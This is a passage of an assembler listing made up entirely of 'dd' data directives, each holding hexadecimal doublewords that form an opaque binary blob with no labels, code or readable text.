1CE69B5Bh, 0CFA6DB9Fh, 0CCC0F772h dd 7087F3BFh, 0A3ACC60Fh, 0A93C02CDh, 66FBC050h, 82007A8h dd 50711E24h, 0F7F27B85h, 50CF5A00h, 0B075B8C7h, 9DA9008Dh dd 0D406180Dh, 4600B5F9h, 0D9086AC2h, 0F81ADF73h, 819D00F0h dd 922C09E8h, 5BF2C189h, 0BA6BE21Eh, 7D865FC0h, 48B1D9h dd 0E3191329h, 45557CFDh, 0BAD2CE3Ah, 69568393h, 98606506h dd 1C05C234h, 71BEC05Ah, 7A1AE778h, 0F284E0h, 4FFD9663h dd 112AC144h, 31E24E00h, 670782EAh, 0EC5200F8h, 7C3A7642h dd 0C3004994h, 17A30CC1h, 0DF1AD8h, 0E380AD36h, 7A435D68h dd 7FE6350Fh, 6D38A71Eh, 0EF8E5261h, 3E9FC640h, 69E50007h dd 678F48B3h, 8400E8C4h, 0FC810CC3h, 309BB9E0h, 37A0F597h dd 91002002h, 7CBB0AD5h, 0F8ED079Dh, 218B2856h, 0DCE107A0h dd 97F78097h, 696A107Ah, 0D300329Ch, 0CFDD630Dh, 0F6D68161h dd 918D1C74h, 55EC0D1h, 3BE63ABBh, 0C4215000h, 0B338D34Fh dd 1DBD002Ch, 33D9315Eh, 280009E6h, 71D62378h, 182A69D7h dd 28E9A0ACh, 931DC166h, 10378048h, 0F809F760h, 911A006Fh dd 90C3D901h, 0C10C12D1h, 295F3637h, 27B001C6h, 507995A6h dd 8CD1C1E6h, 20C3F108h, 0D41A00DDh, 4109763Eh, 2360F868h dd 0CA4467A0h, 6A71009Bh, 0BF81B1F3h, 1460CE2Dh, 0A6216659h dd 0BA520018h, 428087AAh, 0F0E873B0h, 0D81421C0h, 0E4D7A427h dd 0A5C30109h, 353D59E0h, 2D9B3078h, 0C03AE8E3h, 0CD63430Ch dd 13C012h, 35C27D3Dh, 9106E779h, 0C3012000h, 0DB64ADF6h dd 4CEA46h, 53DB7C6h, 7537132Ah, 65429600h, 0A48E1990h dd 0E1E61746h, 56900BEh, 0FF3993D9h, 0D069D302h, 404EC141h dd 571CA9h, 5AA1D71Dh, 0D3445216h, 19C71E00h, 4392780Fh dd 710901B8h, 0CC57CB9Fh, 9E48C038h, 0D2BC4C00h, 513995E2h dd 7D10265Ah, 630A07D7h, 50D410E5h, 0D03E6D2h, 55F4FAA4h dd 171800A0h, 5F3C6388h, 0D700FB2Bh, 33C5BA32h, 9B807Ch dd 0A30F1AADh, 9FA07801h, 0DA43DC00h, 336EACBBh, 0A9A4002Ch dd 27BC4BB5h, 5D003AD8h, 745B24B6h, 0FE0EB72h, 64390E2h dd 2DF73EC0h, 0C2009762h, 3154368Eh, 1FFA203Dh, 0C03FD352h dd 0E8CC21F0h, 420087E0h, 351E940Eh, 0A7AABh, 959055ECh dd 0FBE6D8C4h, 40EC4460h, 68CAE5h, 0EC2E4E4Bh, 0F8632780h dd 903E38E2h, 0C738E7Fh, 16B460F9h, 2759D3h, 36C4319h dd 4F8F9A1Ch, 0C8740600h, 90F2E83Ah, 0A3790027h, 538455E1h dd 0AC05058Ch, 96E59703h, 472A3BC0h, 7AE101A0h, 6E9DEC67h dd 8CC8013h, 0D84B4FB0h, 0F28F0011h, 9DBD5EF9h, 5A03D6B1h dd 1049162Ah, 6D103D9Ch, 9B7A9983h, 0C190F8BAh, 0E1006AFAh dd 75C8037h, 1262B4E9h, 0C66FCEh, 454B2B3Ch, 601E59FBh dd 75005B28h, 743052AFh, 84D80F9Eh, 88E0D0C8h, 3E138E43h dd 0BC007771h, 22C68217h, 7D6E9Ch, 0B70365F1h, 0B6754067h dd 0D89D80BDh, 72D6Ch, 1F0C4BCAh, 0AEB8E30Eh, 28ADD701h dd 0C2123B6Bh, 2389DCh, 0D9744B96h, 58EF4DF6h, 0D6E7E100h dd 0DEB16C9Bh, 1A610E70h, 84C3384Ah, 0F0B77139h, 9AB6996Bh dd 508AED00h, 85C74172h, 3ABC00A1h, 0E710D9Fh, 3400791Eh dd 0AEC2DCC9h, 25D750h, 0E8AACDE0h, 849C06FDh, 0F541EA01h dd 0FF932367h, 0E4FA17CCh, 5EBB839h, 0B64ABBD4h, 2608C076h dd 0C400A92Ah, 0D808988Dh, 0A21A641h, 0C5D2F377h, 0FE010AD7h dd 5D5000A8h, 0C1FA8873h, 5E08CCA0h, 0D9B6A00h, 0A6F9F6CAh dd 0F4B70006h, 0C71F26C3h, 3E00CEEEh, 8337F10Eh, 162B546h dd 0C9BDF378h, 31AACF7Dh, 2C91D028h, 0DC76CD00h, 797BCA70h dd 4F70C055h, 0DF18F9E8h, 48A0B500h, 3FC1E3AFh, 16983Eh dd 8936C8FAh, 9B7E4D26h, 7D03ADF6h, 1B970948h, 0B561AFD6h dd 0A56074F7h, 44BC05A5h, 81724066h, 2038FC2Eh, 0FD1EDEB4h dd 6F004AB0h, 6E256550h, 6060C029h, 0DF3CDA19h, 53072C92h dd 83903144h, 7922F820h, 0B4060794h, 904B4E55h, 361666ABh dd 78D99F03h, 8870E3BFh, 0F63A3h, 0C2FD276Ch, 4CC57E2Ch dd 77BE60C0h, 0F25E7Ch, 3EA574BCh, 0BD6B5BB0h, 62DC530Fh dd 0C1F6E04Dh, 11F3A82h, 83AD4B65h, 249A6B93h, 320C2894h dd 503C4813h, 993F2CBCh, 5243B68h, 0AA2000F3h, 7EF055F8h dd 1600BB7Dh, 0D72F72EFh, 969E94h, 662D1786h, 597B7020h dd 7F4C4E01h, 0B8A364A5h, 10587E0h, 95A753C9h, 0E0550462h dd 14982C88h, 251FBD00h, 40FF4BE4h, 1707248h, 6D5D1594h dd 0C073D4D1h, 7100AC3Ch, 107B8890h, 0FB816CCh, 4FDB23B5h dd 290A7D83h, 64D37EB0h, 40A38400h, 43FF2C38h, 0BB080321h dd 8A3931B8h, 0E8E880DCh, 0C10A58B7h, 80C2225Bh, 20F28E39h dd 0E92FC618h, 772300F0h, 5D1C375Ah, 0FF0364F3h, 2FC08F94h dd 0A05C9839h, 0D1DD0002h, 53E4CC05h, 909029AFh, 790D1200h dd 0D5E37DA4h, 0B23F00F4h, 155621F1h, 37481F01h, 94630E59h dd 0FB2A605Ah, 0CE09318h, 423AD910h, 0DE509AA0h, 900E36DBh dd 20267205h, 1E529D0Ch, 90CB4CC6h, 803A331Eh, 16F1751Ch dd 0C867CAEAh, 3B01E818h, 0D880B428h, 0B0AE4DBFh, 0CC60DC5Fh dd 6F89BA20h, 4EC4045Bh, 0C059C9F6h, 12C26DC4h, 9FED8D18h dd 904E938h, 490BE0F2h, 81ECA000h, 0D0077D1h, 8543F8B9h dd 0F6B8493h, 5DE2D34Eh, 19C06F8Fh, 0F803F248h, 464C2600h dd 88A98F17h, 0B78606CFh, 3035B50Fh, 4C3F0103h, 805E2BA4h dd 1393A09h, 5297F6E4h, 0E0665F5Dh, 9300F2A2h, 1CC58E7Eh dd 74B3FBh, 38976D0h, 59DD8F50h, 0B918D507h, 4D005A14h dd 4ECDF2h, 58C41EC7h, 1574A6F1h, 660AF50Bh, 0FE5C801Bh dd 1E3954h, 6964E7BAh, 0CCE19806h, 2A52E21Fh, 5F2F2D80h dd 392B51BBh, 7902DCADh, 9F8F6732h, 0A9F8BD60h, 4900E5E0h dd 1C9EB6F1h, 0C241ADh, 0BB272934h, 2FB5E4F3h, 0CD2E6B1Fh dd 58550BC7h, 0C93D15B0h, 539301EBh, 0F736EDE0h, 0D767D496h dd 0FF69C005h, 8480548Dh, 0B36653h, 8C43E936h, 1280D228h dd 9A938E00h, 8FDF5ED8h, 76D90034h, 0A3A2773Ch, 0B4031747h dd 0FD863B64h, 194A0FABh, 0B560EE3Dh, 8C60F9BEh, 0D9F0C000h dd 2E62DDCAh, 64E3003Ah, 9E92CFE6h, 1F00B213h, 83A45827h dd 163880h, 0B490C018h, 560C4D82h, 5C8E900h, 0B9DB47C1h dd 4EB22C2Bh, 4770044h, 7BDA631Ah, 0A75BCA01h, 86E04C78h dd 0D51C24h, 0D0898AFFh, 15CC5F2h, 0D70BD100h, 0F88C90AFh dd 4F9303FEh, 4B5845B1h, 773A39B8h, 6E419A03h, 0F820AEEFh dd 756463ABh, 0A5010008h, 4E5B3D40h, 0A10BC930h, 46E337Fh dd 0F4D036A5h, 63BFF3A2h, 0AFCF4C7Bh, 6F1083Ah, 901BC6C8h dd 0B0B82699h, 4FAC40B8h, 0A7F62023h, 4A00F2E8h, 53E9C249h dd 76BBAFC6h, 57707Ah, 1670FB42h, 174333E6h, 4BC58600h dd 0DA2D6606h, 0A8D60FD0h, 809C2B9Bh, 0E2E3CE1h, 0D906B2BAh dd 0BDB11AA1h, 0FBDC0360h, 42282C93h, 8486B104h, 9107367Bh dd 97224025h, 0A1C3B2F6h, 0C0E183C2h, 0A56441h, 0C3AEBD24h dd 6CB153D4h, 236EF509h dd 0E2B9000Ch, 5465925h, 8B888EA0h, 57E00097h, 0EE61896Fh dd 8D0E3DF0h, 72C8A973h, 0C03C00AAh, 1EBC6F83h, 0FACF3707h dd 10604233h, 2874B7F1h, 2FA2D14h, 0E9463E2Ch, 0B4A0241Ah dd 0A673E42Bh, 5E1F337Bh, 0A483CA85h, 741C686h, 6D186920h dd 1E4B8070h, 0B10096E3h, 0D6321A26h, 4C81F2Fh, 0C9EFE5Ah dd 79F6A06Ch, 50688B3Fh, 0B707A98Ch, 1BAE5603h, 4D301521h dd 0A035289Fh, 0CC4C5Dh, 0D9EA2982h, 0A3D4EBh, 5AB4E87Eh dd 23C67D87h, 0F72D6701h, 0D50D1043h, 734FCAF0h, 0C78D74D8h dd 0D0011B40h, 16BB931Ah, 337860Eh, 218E8C15h, 0DA701CEh dd 57D41E9Bh, 0FECDE830h, 78EA4400h, 9F8B7A99h, 0D50050Ah dd 0ABD1F0BDh, 0DDD01A80h, 98740021h, 0E0F6C91Bh, 0DC0044ECh dd 1EDED890h, 2C15CEADh, 11536Eh, 0CA8F4C7Ch, 563B48FCh dd 1B08004Ah, 0C46D8C0Fh, 0B58A00A2h, 8B7343CBh, 64FEBE80h dd 5E0057E8h, 4759D84Dh, 0EF506FAh, 0EA0C7286h, 20B87E86h dd 59082000h, 0FE8350A3h, 0E4AB024Ah, 249F9597h, 0AF870155h dd 59F86877h, 765EE01h, 5102A227h, 4324C0A5h, 9F03AAC4h dd 9A15AB80h, 73B5A86Dh, 19A518B3h, 4F37105Dh, 987D9F07h dd 13614457h, 96EB4146h, 1BD7721h, 6136549Fh, 0C4DA60A8h dd 6203B64Dh, 8A6CEF64h, 1D1DE07h, 0D92C414h, 0E361AB84h dd 47034074h, 83AA0AAh, 5FB03E44h, 714EEA0Ch, 0BE015720h dd 8BA4F915h, 0D0CC6C11h, 446F7725h, 0B300388Fh, 0DB530EFAh dd 700C7732h, 0A080070h, 0E9F637BFh, 9703AB81h, 963B6C73h dd 0AC100083h, 8ABC68B3h, 0E1FA342h, 0E4C04EFAh, 29E29BAAh dd 870A0061h, 9E236530h, 9D00C2BFh, 0DFEFBC15h, 0B740B3h dd 0EC759FCCh, 240A48AEh, 0C3BDF21Dh, 0B2C81B00h, 7CD5A0Dh dd 8562B10Fh, 0D7F8D0ABh, 0E10078FDh, 9A5FAF0Ah, 55423Ch dd 2FD3F964h, 284C7E9Dh, 0E250FC00h, 6CFD1E86h, 55C61DC0h dd 7880BC9Fh, 5370082Ch, 29020C13h, 0E6631072h, 991EE0A1h dd 0F9F612ADh, 1943804Eh, 52305C94h, 385F189Bh, 0B2C901E1h dd 655EED3Bh, 491FE066h, 0BAD1BB07h, 47EFB051h, 2E20C464h dd 76A8F9h, 75C34838h, 684CC593h, 9A5E5801h, 0DA14FCADh dd 0EA3516E8h, 1EFE75E5h, 0BD4B90h, 0C3BC715h, 0CD7009FBh dd 6D0E9718h, 0FC1A8FC8h, 0F4C013Ah, 7790DF63h, 80B98059h dd 73AF36B6h, 758B0FC6h, 32C0F748h, 0E5D3EEC0h, 57AD98A0h dd 15EB0E00h, 7A1BBA45h, 82DA3DF4h, 0EA9EC500h, 4EA1746Fh dd 0D3064AF2h, 9C8626D4h, 722F3960h, 36EA6C80h, 0C6D03E1h dd 357E9800h, 86BFEB94h, 0A4250030h, 2991D66h, 91053D1Ah dd 0CFD4DA69h, 16D7A040h, 0E5598Ch, 0E71567A1h, 9148DAFFh dd 9F9EB300h, 9464B6F0h, 1F8B00C9h, 61145B89h, 0D22CB45Ah dd 760101BAh, 804CB319h, 18E5D0h, 32824807h, 9C8B7875h dd 1B032F07h, 94333C7Dh, 188DA06Ah, 7076BAh, 3895AD5Dh dd 5F9BDE15h, 0A0910700h, 0D4FBF983h, 0CFE50024h, 796FF029h dd 940073DDh, 44B5E089h, 0A23031h, 0CF16C7A5h, 3BE33ECDh dd 890E0BF6h, 8068C6EDh, 2D269399h, 0BDA8C0BBh, 0F0AAD20Dh dd 0B4AD9709h, 25EA00C4h, 3F28F3EFh, 0E0BE0146h, 0DD9CD186h dd 300578CCh, 8AB23391h, 1F491086h, 0C0FDF182h, 8376AA77h dd 0C9006639h, 9DF89B99h, 0C8CBF9h, 3477ECACh, 0A2034FE7h dd 2A597000h, 654CE8A4h, 37571871h, 0F8BC511Fh, 889B1C07h dd 0F6839418h, 8E7D960h, 3A952E0h, 44DAE4B1h, 0A5BAFCh dd 4A7A2888h, 240EBD0Ah, 0A0DC56B4h, 4F3E9A9Bh, 0A6E100F9h dd 521DD871h, 1C0F7F78h, 20F398E2h, 0BADF354Bh, 0F8CA00E3h dd 77B89EE8h, 0B437847Ah, 0DE760847h, 60200120h, 0A8CFD3E8h dd 750F20A3h, 0C35B1707h, 507C3923h, 0D5F68CD9h, 6FB8E108h dd 407C6425h, 5FD5611Dh, 0EF6B00E0h, 7608F251h, 0D9003196h dd 0E8AC2FF5h, 0C906C6Dh, 3BCA8E24h, 9500D218h, 2AF1BAF3h dd 628F2652h, 6683702Bh, 0AB1650E0h, 7E992700h, 0E2C636D0h dd 8C20C02Ah, 326FB179h, 7001579h, 0BBDCACE9h, 88906Eh dd 0D21BDDDBh, 0F49E2BF2h, 7A4CCA3Eh, 612AA8C0h, 0F922D3BEh dd 35FF1180h, 0DAAF7F45h, 5E86A718h, 0C0BD2209h, 47AD1F20h dd 500850Eh, 0D735F490h, 617CBCE0h, 1BF6D081h, 2F7183FAh dd 4654F04h, 0EF7B8C18h, 2A940255h, 7370908Fh, 17363AB1h dd 61C63788h, 2301A891h, 6AA5B169h, 870FFCDCh, 7C409307h dd 0EFC0BEF9h, 1875F05Ch, 6691E09Ch, 7600153Eh, 189A5FDh dd 0BD2CBEh, 34EC616Eh, 0B935AA5Dh, 0FA26D33Dh, 6C867203h dd 813CDC25h, 8FC0E904h, 0CA7DE4h, 9206D898h, 4BA8F846h dd 67FBC300h, 1384B7A0h, 487F01CFh, 0D5218954h, 5BE06FB3h dd 0BB40009Bh, 2BCC3F41h, 0A2006E30h, 61531F0Fh, 192D270h dd 579A02C1h, 0CCA13BB0h, 0A700CA23h, 4AD8B4E6h, 0D670AFh dd 8706E038h, 0AC020AE3h, 7ACABB00h, 734142DFh, 0BA400D3h dd 479BA974h, 0C6FA842Bh, 291CB801h, 43D9676Dh, 0F76270h dd 5237518Fh, 59A6BFB4h, 0B5244400h, 68EAA936h, 8AA700D8h dd 0F6928920h, 0B40055ADh, 4BF53B01h, 0F4317E5h, 0AD71221h dd 6DCFF820h, 0D8007F26h, 0C4B8D999h, 64CA72h, 78110F56h dd 0E2B46DEFh, 30AA2003h, 88CD03C3h, 0C2FF43h, 9F68BFA5h dd 0FB9876FEh, 0B2A37800h, 0B1D55EC0h, 1E48C365h, 18EE06B8h dd 51A9A00h, 0BD14554Bh, 3811400Bh, 0CD414003h, 3E897BCh dd 0DF54C0B1h, 0BDE96F26h, 7053E084h, 95E90200h, 0F9CD40BEh dd 0FCE40C76h, 0D2480555h, 90DA5Ch, 5FF349C8h, 1E2F56Eh dd 0BD90DEADh, 0F0469B0Ah, 603092DDh, 0C2DA180Fh, 0B19C0082h dd 55A00A21h, 8D374453h, 7CF650F0h, 1E9F00E0h, 0FD5BC5CAh dd 75015D85h, 9B9DFD2h, 0CCFEC89h, 9FBECC38h, 2B000EB8h dd 0F02F9196h, 278B10h, 0C8A01A78h, 1F079EDEh, 40551200h dd 77BB3CECh, 0B0580082h, 0E06CD20h, 0BAEC03DAh, 0ECAEAC01h dd 28B919Eh, 18CA1C8h, 3E04E496h, 401B0A75h, 65C1168Ch dd 3D883500h, 0FE82CF4Eh, 0E792008Bh, 9F0138A2h, 7B601141h dd 0EE8C0550h, 0DE20317h, 29C3F555h, 6407390h, 0D4B8C700h dd 0F28ED522h, 0F1CE0CCDh, 0A7382CCAh, 0ABFC4B18h, 0F6DF20h dd 44882A77h, 5E122510h, 844EC500h, 2F22E9A5h, 0C108678Bh dd 40A3E750h, 59FAEB38h, 0D8072100h, 0B6C461CDh, 6CEA6Dh dd 8CAFB437h, 315B9F1Ah, 40906E2h, 80CE12BDh, 8FCF355Eh dd 1DC00377h, 9F7FDDD8h, 41CA880Ch, 0FCF9692Ah, 72B80054h dd 4E8E93F0h, 641D22BBh, 0A947D0D2h, 38C0079Ah, 6FC1CD3h dd 48A12BF5h, 0F420D866h, 2C3507C3h, 4F14DB55h, 1E063745h dd 802F85A0h, 0C58442CBh, 5D21A73Eh, 0AC424DBDh, 0CFF8811Fh dd 0C0CA63B5h, 7002F0F7h, 8958003Eh, 0A99E152h, 0C33E5FD2h dd 0BC2200C9h, 6C59F503h, 61A61292h, 58C8008Eh, 0E84F95B7h dd 0BC205D00h, 0AE42E452h, 6A5A00DEh, 1831C3A0h, 0D000D6D4h dd 56FC6C24h, 0E49B440h, 0DF5F3236h, 8997CF83h, 0EBBA55A8h dd 39773500h, 9AD6499Dh, 35F65C7Eh, 0C5541Eh, 0AEABB62Bh dd 5D3AA795h, 17DCCCh, 4CCB6624h, 0EAE7BFCAh, 0E733E67Ah dd 529460h, 4571D0ECh, 98F25DC5h, 753B9E00h, 4AD687DFh dd 0AC32092Ah, 0EF80BBB3h, 0DB5793E8h, 0C56A8800h, 2A9B8B42h dd 3941180Bh, 0CD92A11Bh dd 0E63D870Fh, 9838801Fh, 6EF59EC6h, 1906B04Ah, 7D0CA0ADh dd 19FC0323h, 94330C60h, 0A2206AAEh, 0CEB8520Ah, 5E01846Eh dd 5080A1Ah, 0C0C7F1E8h, 0C90EA730h, 0F2008975h, 92FE72E3h dd 0E5C9555h, 8BF426BEh, 13949D61h, 0FF64C05Fh, 3CDB7E00h dd 9A1E5608h, 86EA0092h, 0CF37BBABh, 50E1918Dh, 0D38EB824h dd 43852400h, 0F8804C40h, 3F19147Bh, 720CC852h, 69884BA1h dd 1761ACEh, 0D03F8FA3h, 0A001F8h, 0EC38C5DEh, 0CE58EA2Ah dd 0CCA093E0h, 0B8090327h, 4D1536Dh, 61805F6Dh, 540996h dd 20260123h, 0E3BB2F50h, 0CD171F00h, 188AFD8Eh, 7EF7F0E1h dd 3C9100E7h, 1445C267h, 247CF6F9h, 8B1A3700h, 531C6DFBh dd 5BAA1365h, 0CA2E0E85h, 0C6E5D160h, 3A005D35h, 900C3FBBh dd 0B81B2633h, 0B6C8C01Fh, 0C171418Ch, 0A006AC01h, 10D86D23h dd 10707FF5h, 0DB9F0193h, 96C88D40h, 1F4C20D0h, 0E002032Ah dd 2572058h, 31C553F8h, 6294A3D2h, 0D484C816h, 5E4C0708h dd 7C29F7Ch, 0A96FC27Ah, 0BDFC0440h, 0C28848h, 0D73A0BFEh dd 0F8D5BD3h, 0B8319D4Ch, 0EF5DF5C0h, 217361ABh, 49A61D0Eh dd 0A1F08094h, 11689Ah, 0ECED66FEh, 736BD064h, 6CC63A1Ch dd 0B0204518h, 2C6700BBh, 11B5B727h, 48E2F0A1h, 6008878h dd 207DD0E0h, 6A5601ACh, 221361C4h, 42C7030h, 8374ECEAh dd 0BE97216Ch, 71077007h, 8107D959h, 8E379D3Ch, 0BF8327C0h dd 8FCC0198h, 0F175E0F6h, 7BBDC407h, 4D4B6C00h, 389C1F4h dd 562E014Fh, 0E6277D72h, 80FFD170h, 84DFF158h, 0C7BA08h dd 0D307E3CAh, 7BDB2245h, 0DD1DC307h, 8C9EBF97h, 6A1517Dh dd 681F5434h, 3AF040B4h, 2006E800h, 71958316h, 9D920F58h dd 0F5405EAEh, 0D9E178A1h, 8B503700h, 0F1BBE5B4h, 0EFD10C3Eh dd 3FC890DBh, 0A5337F01h, 7049234h, 0A06D63C8h, 0E4032C60h dd 704E2149h, 2A53488h, 6E088566h, 4244F5E0h, 0E2FF5A00h dd 0E7940B4Ah, 0ECA23756h, 4BF9F048h, 980026C9h, 5FE2232Ah dd 800ED6h, 1E3B1715h, 818FCB8Eh, 7F492400h, 0F6769AB3h dd 60D7EE58h, 32F31086h, 4A031043h, 7B961229h, 55BA83Dh dd 1159009Ch, 8CBF56C3h, 0A400D851h, 8362BA2h, 7167191h dd 0F92C1F99h, 0C7CDC7CBh, 5D97C050h, 9AECE86Fh, 190B1398h dd 4FC8960h, 0C780E91Ah, 0EC1FA0Dh, 37918229h, 45948360h dd 6300D385h, 0EDBDC21Dh, 0E06F9Ch, 5B2872BEh, 417ABAFEh dd 86030E00h, 9466844Fh, 2A3F0F73h, 4EE09A39h, 85D4D046h dd 25017A01h, 90F2BB48h, 0F7465ECh, 0B3CBFEB2h, 0D1A35200h dd 9B0014D6h, 642AF727h, 1BA01BDh, 4779A588h, 0F06780A6h dd 1000DE66h, 0DABD8B41h, 1323D97h, 0FDDBEC5Eh, 0CCDD9DC2h dd 231E2191h, 3E40A62Eh, 0ABF56165h, 1A88001Ch, 7F6F2070h dd 0ADE8E00Ch, 0E496801h, 64876AC3h, 3C4DF4h, 62CC76A4h dd 672A1DCAh, 6C4B1B1Eh, 813B0C00h, 0FE7026D2h, 7931C054h dd 4A142AC0h, 0E47603Ah, 0E038E643h, 727A09DBh, 0C7D700E8h dd 1B01DA89h, 71177C99h, 6FCD561h, 2A97F603h, 0AFA88883h dd 30043DFh, 171B34EEh, 0E251D8h, 909B3E97h, 89F6EC5h dd 0E0A8FF00h, 0C35487C8h, 0FEB7EEB9h, 78F10059h, 110A9C2Bh dd 2000E258h, 0F776063Dh, 86D8D0h, 0A34962F5h, 9BFBB609h dd 0A94EE601h, 99CC20CAh, 3441FF8h, 94E48974h, 0DBE07E32h dd 5B3BDC2Fh, 0EEBCCB2Ch, 0D073AE07h, 0E1C4C0EEh, 9D0352C9h dd 95674713h, 82F2A885h, 0E8975177h, 5C1FC0ECh, 0F60FE69Eh dd 0DD207EDCh, 0ABBCDE31h, 811A3D03h, 3F0D864h, 1B0C8AD4h dd 0ED823C5h, 0C600A5FEh, 988C3170h, 325E1F4h, 0DAAA3C62h dd 0DCFBE2A4h, 0B5593FE0h, 9766C900h, 44FD611Eh, 18A70F08h dd 0A0608F33h, 2E2032D1h, 8CCDE100h, 4CD51A2Ah, 4DFF0175h dd 0F35B1C7Ah, 0C199E428h, 2702CF0Fh, 0EE1DA065h, 4EB2D7h dd 77D4A3D3h, 7928F27Fh, 87570B00h, 92995CE3h, 0FA3EF462h dd 0BD6FEDEh, 0A48F31FCh, 0E00F3780h, 9E004961h, 68773436h dd 793E6F7h, 3B3FD310h, 14D2C0FDh, 3E009823h, 31137719h dd 117D3Ch, 6E7046F1h, 501FA693h, 43A50C03h, 0A8C7E812h dd 7EF973DBh, 0AE5C00ECh, 0EBF7DF42h, 3F07DD0Fh, 985A2D05h dd 0FDCAEC80h, 0EE4D0E3Ah, 8A20F635h, 9C21DF7Fh, 2D002898h dd 41754A72h, 1D6809CAh, 805FD40Dh, 0F8DDCCB3h, 0A407958Fh dd 63B61C3h, 18C5709Ch, 0CCF98E72h, 1000E93Eh, 365AB970h dd 0FA3DFADh, 853F1754h, 0F21201A0h, 1E13C7EDh, 0FC0A6B40h dd 22282466h, 92679D00h, 26D89F4Ah, 914B00D0h, 0B1CF34EBh dd 0BA24838Bh, 6B001816h, 0FECE80BEh, 79360023h, 93291E31h dd 8F0002D5h, 0E75C9F6Fh, 0A2419h, 0EC09B383h, 584C9C36h dd 0B2B62001h, 0A475D697h, 0F46657DCh, 0FA5405FCh, 0C0C6A7ACh dd 565EA05Ah, 3EC5B2C0h, 528F6Ah, 4A2E7337h, 8A8EF20Ah dd 42A5BB03h, 0B020991Fh, 3AABE52h, 35043AE7h, 32D090F4h dd 7707929Fh, 0FCCAA3B3h, 331A86A0h, 9A400BAh, 7F765F3Fh dd 0E031232h, 0AB63727Dh, 0F76BA0C6h, 3C0C00F9h, 0D181F3A7h dd 5100C0E9h, 38D8ADD5h, 0E1FBC9h, 0CE5F2B4Bh, 7B86C657h dd 7D4C907Fh, 46B30EEBh, 0FBF8A08Ch, 0E08528h, 4176B8F3h dd 0BD829E4Eh, 0F7FF0205h, 4000759Ch, 7C1A3356h, 0C8A850D1h dd 11FF00B4h, 0DFA7B7AEh, 0EA006294h, 0E6D09EBDh, 380566h dd 6D8721D6h, 835F138Eh, 5452EF58h, 4300495Ch, 9575CE0Bh dd 90FE5484h, 91A90260h, 9BDD57F0h, 4A98384Ch, 0EA338A0h dd 0D189051Eh, 0E2673740h, 31F72BD4h, 0B340FF16h, 0EC08247Ch dd 1AC03Fh, 0EE1BF5D2h, 79A71E11h, 4387A56h, 684A5AB8h dd 0A0408753h, 0AA6DBB07h, 0FCD41613h, 178C9800h, 0F2B9C2h dd 0C62AEDA1h, 453E5468h, 32DE3B00h, 9EFDC8C5h, 9C03127Fh dd 6B620343h, 0FDF5414h, 8A717AC4h, 0B13E002Ch, 50476F9h dd 9B3758D4h, 0F54A2500h, 92094FBAh, 94580100h, 0E9EA4414h dd 659E00A6h, 0EA962AEh, 0B60FE723h, 805D84B7h, 373A18EFh dd 0A2C300D8h, 5C19E5E8h, 290054BBh, 1D154785h, 0F94184Bh dd 87166550h, 0E8256483h, 0BEC50698h, 9C02A30Ah, 2A0FACB6h dd 77B4C20Ch, 1280A0ECh, 1A1F30h, 0D2F5B1D3h, 5FC58D47h dd 7BC85D00h, 6C68C90Ah, 7C0E009Fh, 788F56A1h, 0E2F471BFh dd 19393Ch, 60D23C6Eh, 0F89FCE1h, 86457C65h, 98A17E02h dd 532BF0C0h, 0F9EB3400h, 0CDDDDBC0h, 4A8E07A9h, 20D6AF1Dh dd 72E938B6h, 1A07AA73h, 2D81AEEDh, 2798B350h, 33730064h dd 75F57FADh, 232C51F2h, 2F00EF3Dh, 1DA7FA44h, 2EEE0214h dd 8AB8B994h, 3AD7F4A0h, 643B7F90h, 5599038Dh, 0C86D854Eh dd 1793C0h, 0AA27E0B0h, 90CD787Ch, 49E5E4A8h, 0FFB18A0Bh dd 3FA2804Eh, 9BCA6E2h, 0BB1A735Ah, 0B420D80Fh, 5EDDBA6Ah dd 0FB24B872h, 64180DD8h, 4A1D60h, 4F7E9188h, 6B96E523h dd 0C70999E6h, 9465FB43h, 6E670098h, 0F71905C0h, 98002AB1h dd 9061B3E0h, 4A96472h, 0F27741F9h, 65689239h, 0B210EA27h dd 0A7A09Fh, 0E3B11078h, 893BD0DFh, 0F54C5D09h, 781CCEh dd 0B7F872EEh, 32F7D614h, 0A2351F00h, 28F58A20h, 0C7E30024h dd 96688822h, 3A07F8D9h, 898B9CEFh, 9AD56340h, 0BD4F05BCh dd 0C06C5BD2h, 5F720A98h, 0B8DB2700h, 95AE24B9h, 751900FAh dd 4FA67A02h, 0B200D1D8h dd 3F7E7762h, 3EBA7B09h, 2F80BD27h, 0F4162894h, 3907B12Ch dd 1D4C9A21h, 0DAD0808Bh, 984E7Bh, 0B9F85129h, 76208ED7h dd 0E900AE78h, 174DA52h, 1714032Ah, 0E781A3h, 0CF97829Ch dd 9A073287h, 4284C06Bh, 60DA68F0h, 4EF8E7h, 9587BCDh dd 25BE355Fh, 49A6DC17h, 2A269900h, 4ECFCEh, 0C27A2361h dd 0A4E66843h, 0BD953400h, 0F2AF17DCh, 0B20500E2h, 24F802BCh dd 0B30F5C7Fh, 65C21119h, 90C03F5Dh, 444738h, 0B75721Bh dd 8BB3B0CAh, 8C2B4B1h, 0F3CA10B5h, 703EA500h, 511625DFh dd 0BA12009Ch, 3C072048h, 49FE10DCh, 750865Ch, 0C6B835FAh dd 4F94A049h, 0E4763959h, 183813CBh, 0DA980014h, 0F7C92F1Bh dd 96C8370Eh, 0DF2060D5h, 54161732h, 13C9F0F5h, 0CE6279Dh dd 33383539h, 1E8A5F04h, 40A07A47h, 70E6004Ah, 50E16B3Ch dd 210027B5h, 8EC73165h, 32C690h, 1B4ED158h, 7A50B264h dd 97841A00h, 3F57A691h, 0D03E0FE4h, 0F9802E94h, 0E356E706h dd 14EFAA1Ch, 25E20E04h, 2C00208Ah, 16A1B1C5h, 8500AF8Ah dd 0C580DE7h, 3045D006h, 1C285D9Ch, 0E107F9E4h, 0BD44BA9Eh dd 41CE7E60h, 9FF40098h, 0EB65208Fh, 4A008762h, 0C5976778h dd 3E030426h, 0ED974EBDh, 6A2E00BFh, 85C07606h, 3AD82900h dd 0FBDD4AE7h, 2CEB4DE3h, 8CADEA00h, 0A3CA6098h, 0F363CF02h dd 42FBE876h, 836780ECh, 0E62D2739h, 0D90513DEh, 6852E1h dd 0FD238930h, 5010AC8Ah, 6DC23A1Fh, 4300A349h, 3DEE828h dd 0F9AEAD85h, 0C8A87E32h, 0D1050F9Eh, 3D54D052h, 8D02B090h dd 722E44Ch, 3E803615h, 0DB88003Ch, 85C669Ch, 8AA40094h dd 0C7B14F5Eh, 0F2B07027h, 0B9AC7790h, 0C9400D8h, 0F48D5176h dd 0ADC55401h, 7EDB4723h, 718BFC59h, 0FC0362DDh, 0C200CB8Dh dd 28DAF69Fh, 